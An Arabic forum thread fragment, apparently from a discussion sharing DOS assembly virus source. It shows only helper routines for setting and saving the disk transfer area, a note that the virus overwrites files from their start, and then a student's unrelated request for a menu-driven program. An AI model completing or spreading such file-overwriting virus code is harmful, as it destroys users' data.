SET_DTA  PROC	NEAR
MOV	AH,1AH
LEA	DX,DTA
INT	21H
RET
SET_DTA	ENDP
;--------------------------------------
SAVE_DTA	PROC	NEAR
LEA	SI,DTA
LEA	DI,DTA
MOV	CX,43
CLD
REB	MOVSB
RET
SAVE_DTA ENDP

DTA    DB 128 DUP(0)

والى الان لا داعي لها هنا ( ليس من الضروري استخدامها).

ملحوظه : الفايروس يقوم بكتابة نفسه من بداية الملف وبطول الفايروس بدون النظر الى محتوى أو طول الملف.

أحمد

TSR.ASM

#22

السلام عليكم

اخي الكريم لك خالص شكري علي حسن تعاونك معي

واسال الله العلي القدير ان يجعل دلك في ميزان حسناتك

ولكن لدي سؤال اواستفسار وارجوا ان يكن سؤالي صحيح او في محله ..!

طبعا انادرست سابقا لغه البسكال ولغه السي و طبعا كما يعلم الجميع

يمكننا في هاتين اللغتين تكوين شاشه المخرجات او الاختيارات

وهي التي تخيرنا مثلا رقم واحد ينفد جزء من البرنامج واثنين جزء اخر وهكدا

بحيث انا اريد مثلا عند تنفيد رقم واحد ان يطيع اسمي ورقم اثنين

اسم الدكتور وثالثه عنوان المشروع ورقم اربعه يبنفد البرنامج

واخيرا خمسه الخروج

او رقم واحد يطبع اسمي واسم الدكتور وعنوان المشروع

ورقم اثنين ينفد البرنامج

وثلاثه خروج

حيث بما تراه حضرتك مناسب فانا لايوجد خلفيه لي بخصوص هدا الموضوع ابدا

وياريت يكون مستعجل شوي

وشكرا

سلام.

هذا الموضوع مغلق.

مواضيع مشابهة